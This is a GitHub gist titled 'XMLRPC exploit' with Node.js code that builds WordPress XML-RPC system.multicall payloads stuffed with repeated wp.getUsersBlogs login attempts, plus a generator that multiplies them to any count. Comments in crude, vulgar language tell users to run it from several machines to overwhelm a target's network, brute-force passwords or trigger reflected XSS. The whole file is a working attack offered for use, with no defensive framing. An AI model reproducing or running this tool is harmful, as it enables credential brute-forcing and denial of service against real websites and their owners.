Skip to content

Instantly share code, notes, and snippets.

@GaryKnegrowGNAA
Created November 10, 2022 09:23
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save GaryKnegrowGNAA/4aac49d2b39cc2c41fd1490938e79e4a to your computer and use it in GitHub Desktop.
Save GaryKnegrowGNAA/4aac49d2b39cc2c41fd1490938e79e4a to your computer and use it in GitHub Desktop.
XMLRPC exploit
// run this on 3-4 repls to basically assfuck their network
// or bruteforce their passwords
// or make reflected XSS
// have fun
// /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$
// /$$__ $$| $$$ | $$ /$$__ $$ /$$__ $$
// | $$ \__/| $$$$| $$| $$ \ $$| $$ \ $$
// | $$ /$$$$| $$ $$ $$| $$$$$$$$| $$$$$$$$
// | $$|_ $$| $$ $$$$| $$__ $$| $$__ $$
// | $$ \ $$| $$\ $$$| $$ | $$| $$ | $$
// | $$$$$$/| $$ \ $$| $$ | $$| $$ | $$
// \______/ |__/ \__/|__/ |__/|__/ |__/ International
// Making the internet a safer place at the expense of your internet
// GNAA International
// Copyright gnaa.world 2022
const { XMLParser, XMLBuilder, XMLValidator } = require("fast-xml-parser");
const parser = new XMLParser();
const builder = new XMLBuilder();
const types = {
"one": parser.parse("<methodCall><" + "methodName" + ">system.multicall</" + "methodName" + "><params><param><value><array><data>\n\n<value><struct><member><name>" + "sex" + "</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\\{\\{ Your Username \\}\\}</string></value><value><string>\\{\\{ Your Password \\}\\}</string></value></data></array></value></data></array></value></member></struct></value>\n\n<value><struct><member><name>" + "sex" + "</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\\{\\{ Your Username \\}\\}</string></value><value><string>\\{\\{ Your Password \\}\\}</string></value></data></array></value></data></array></value></member></struct></value>\n\n<value><struct><member><name>" + "sex" + "</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\\{\\{ Your Username \\}\\}</string></value><value><string>\\{\\{ Your Password \\}\\}</string></value></data></array></value></data></array></value></member></struct></value>\n\n<value><struct><member><name>" + "sex" + "</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\\{\\{ Your Username \\}\\}</string></value><value><string>\\{\\{ Your Password \\}\\}</string></value></data></array></value></data></array></value></member></struct></value>\n\n</data></array></value></param></params></methodCall>"),
}
const data = {
"value": [
{
"struct": {
"member": [
{
"name": "sex",
"value": [
{
"string": "wp.getUsersBlogs"
}
]
},
{
"name": "params",
"value": [
{
"array": {
"data": {
"value": [
{
"array": {
"data": {
"value": [
{
"string": "\\{\\{ Your Username \\}\\}"
},
{
"string": "\\{\\{ Your Password \\}\\}"
}
]
}
}
}
]
}
}
}
]
}
]
}
}
]
}
function generateXML(amt) {
for (i = 0; i <= amt; i++) {
types.one.methodCall.params.param.value.array.data.value.push(data.value[0])
}
return builder.build(types.one)
}
module.exports.gd = generateXML
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment